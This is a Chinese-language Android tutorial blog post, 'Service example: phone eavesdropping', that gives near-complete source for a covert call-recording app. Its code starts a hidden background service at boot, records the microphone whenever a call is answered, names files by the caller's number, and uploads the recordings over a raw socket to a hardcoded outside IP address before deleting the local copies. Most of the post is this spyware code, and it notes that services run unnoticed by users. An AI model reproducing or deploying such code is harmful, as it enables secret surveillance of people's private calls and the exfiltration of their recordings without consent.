[Android] Android之Service案例-电话窃听
【0】Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。Service的建立如下:
第一步:继承Service类
public classSMSServiceextends Service { }
第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置:
<serviceandroid:name=".SMSService" />
服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。
使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。
使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。
采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
【1】
要实现电话窃听,需要监听电话的状态,方法如下:
view plain
- /*取得电话服务*/
- TelephonyManagertelManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
- PhoneStateListenerlistener=newPhoneStateListener(){
- @OverridepublicvoidonCallStateChanged(intstate,StringincomingNumber){
- switch(state){
- caseTelephonyManager.CALL_STATE_IDLE:/*无任何状态时*/
- break;
- caseTelephonyManager.CALL_STATE_OFFHOOK:/*接起电话时*/
- break;
- caseTelephonyManager.CALL_STATE_RINGING:/*电话进来时*/
- break;
- default:
- break;
- }
- super.onCallStateChanged(state,incomingNumber);
- }
- };
- //监听电话的状态
- telManager.listen(listener,PhoneStateListener.LISTEN_CALL_STATE);
在清单文件AndroidManifest.xml中添加权限:
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
可以使用手机进行现场录音,实现步骤如下:
第一步:在功能清单文件AndroidManifest.xml中添加音频刻录权限:
<uses-permissionandroid:name="android.permission.RECORD_AUDIO"/>
第二步:编写音频刻录代码:
view plain
- MediaRecorderrecorder=newMediaRecorder();
- recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
- recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
- recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
- recorder.setOutputFile("/mnt/sdcard/itcast.amr");
- recorder.prepare();//预期准备
- recorder.start();//开始刻录
- ...
- recorder.stop();//停止刻录
- recorder.reset();//重设
- recorder.release();//刻录完成一定要释放资源
【2】电话窃听时使用手机麦克风进行录音,然后把录下的音频文件上传至指定的服务器
代码示例:这里只显示客户端的代码
view plain
- publicclassPhoneListenServiceextendsService
- {
- privatestaticfinalStringTAG="PhoneListenService";
- @Override
- publicvoidonCreate()
- {
- TelephonyManagertelManager=(TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
- telManager.listen(newTelListener(),PhoneStateListener.LISTEN_CALL_STATE);
- Log.i(TAG,"servicecreated");
- super.onCreate();
- }
- privateclassTelListenerextendsPhoneStateListener
- {
- privateMediaRecorderrecorder;
- privateStringmobile;
- privateFileaudioFile;
- privatebooleanrecord;
- @Override
- publicvoidonCallStateChanged(intstate,StringincomingNumber)
- {
- try
- {
- switch(state)
- {
- /*无任何状态时*/
- caseTelephonyManager.CALL_STATE_IDLE:
- if(record)
- {
- recorder.stop();//停止刻录
- recorder.release();
- record=false;
- newThread(newUploadTask()).start();
- Log.i(TAG,"startuploadfile");
- }
- break;
- /*接起电话时*/
- caseTelephonyManager.CALL_STATE_OFFHOOK:
- Log.i(TAG,"OFFHOOK:"+mobile);
- recorder=newMediaRecorder();
- recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
- recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
- recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
- audioFile=newFile(getCacheDir(),mobile+"_"+System.currentTimeMillis()+".3gp");
- recorder.setOutputFile(audioFile.getAbsolutePath());
- recorder.prepare();//预期准备
- recorder.start();//开始刻录
- record=true;
- break;
- /*电话进来时*/
- caseTelephonyManager.CALL_STATE_RINGING:
- Log.i(TAG,"incomingNumber:"+incomingNumber);
- mobile=incomingNumber;
- break;
- default:
- break;
- }
- }
- catch(Exceptione)
- {
- Log.e(TAG,e.toString());
- }
- super.onCallStateChanged(state,incomingNumber);
- }
- privatefinalclassUploadTaskimplementsRunnable
- {
- @Override
- publicvoidrun()
- {
- try
- {
- Socketsocket=newSocket("220.113.15.71",7878);
- OutputStreamoutStream=socket.getOutputStream();
- Stringhead="Content-Length="+audioFile.length()+";filename="+audioFile.getName()+";sourceid=/r/n";
- outStream.write(head.getBytes());
- PushbackInputStreaminStream=newPushbackInputStream(socket.getInputStream());
- Stringresponse=StreamTool.readLine(inStream);
- String[]items=response.split(";");
- Stringposition=items[1].substring(items[1].indexOf("=")+1);
- RandomAccessFilefileOutStream=newRandomAccessFile(audioFile,"r");
- fileOutStream.seek(Integer.valueOf(position));
- byte[]buffer=newbyte[1024];
- intlen=-1;
- while((len=fileOutStream.read(buffer))!=-1)
- {
- outStream.write(buffer,0,len);
- }
- fileOutStream.close();
- outStream.close();
- inStream.close();
- socket.close();
- audioFile.delete();
- }
- catch(Exceptione)
- {
- Log.e(TAG,e.toString());
- }
- }
- }
- }
- //清空缓存目录下的所有文件
- @Override
- publicvoidonDestroy()
- {
- File[]files=getCacheDir().listFiles();
- if(files!=null)
- {
- for(Filef:files)
- {
- f.delete();
- }
- }
- Log.i(TAG,"ServiceDestroy");
- super.onDestroy();
- }
- @Override
- publicIBinderonBind(Intentintent)
- {
- //TODOAuto-generatedmethodstub
- returnnull;
- }
- }
view plain
- publicclassBootBroadcastReceiverextendsBroadcastReceiver
- {
- @Override
- publicvoidonReceive(Contextcontext,Intentintent)
- {
- Intentservice=newIntent(context,PhoneListenService.class);
- context.startService(service);
- }
- }
view plain
- publicclassStreamTool
- {
- publicstaticvoidsave(Filefile,byte[]data)throwsException
- {
- FileOutputStreamoutStream=newFileOutputStream(file);
- outStream.write(data);
- outStream.close();
- }
- publicstaticStringreadLine(PushbackInputStreamin)throwsIOException
- {
- charbuf[]=newchar[128];
- introom=buf.length;
- intoffset=0;
- intc;
- loop:while(true){
- switch(c=in.read()){
- case-1:
- case'/n':
- breakloop;
- case'/r':
- intc2=in.read();
- if((c2!='/n')&&(c2!=-1))in.unread(c2);
- breakloop;
- default:
- if(--room<0){
- char[]lineBuffer=buf;
- buf=newchar[offset+128];
- room=buf.length-offset-1;
- System.arraycopy(lineBuffer,0,buf,0,offset);
- }
- buf[offset++]=(char)c;
- break;
- }
- }
- if((c==-1)&&(offset==0))returnnull;
- returnString.copyValueOf(buf,0,offset);
- }
- /**
- *读取流
- *@paraminStream
- *@return字节数组
- *@throwsException
- */
- publicstaticbyte[]readStream(InputStreaminStream)throwsException
- {
- ByteArrayOutputStreamoutSteam=newByteArrayOutputStream();
- byte[]buffer=newbyte[1024];
- intlen=-1;
- while((len=inStream.read(buffer))!=-1)
- {
- outSteam.write(buffer,0,len);
- }
- outSteam.close();
- inStream.close();
- returnoutSteam.toByteArray();
- }
- }
更多相关文章
- Android打印堆栈
- Android横向滚动屏幕特效分析
- 【边做项目边学Android】小白会遇到的问题--创建Android项目不自
- Android(安卓)SharedPreferences总结及优化
- android之listview使用方法(一)
- Android四大组件的工作过程
- Android监听通话正确操作方法介绍
- 从头到尾给你讲明白Android(安卓)View实现原理
- android充当server服务器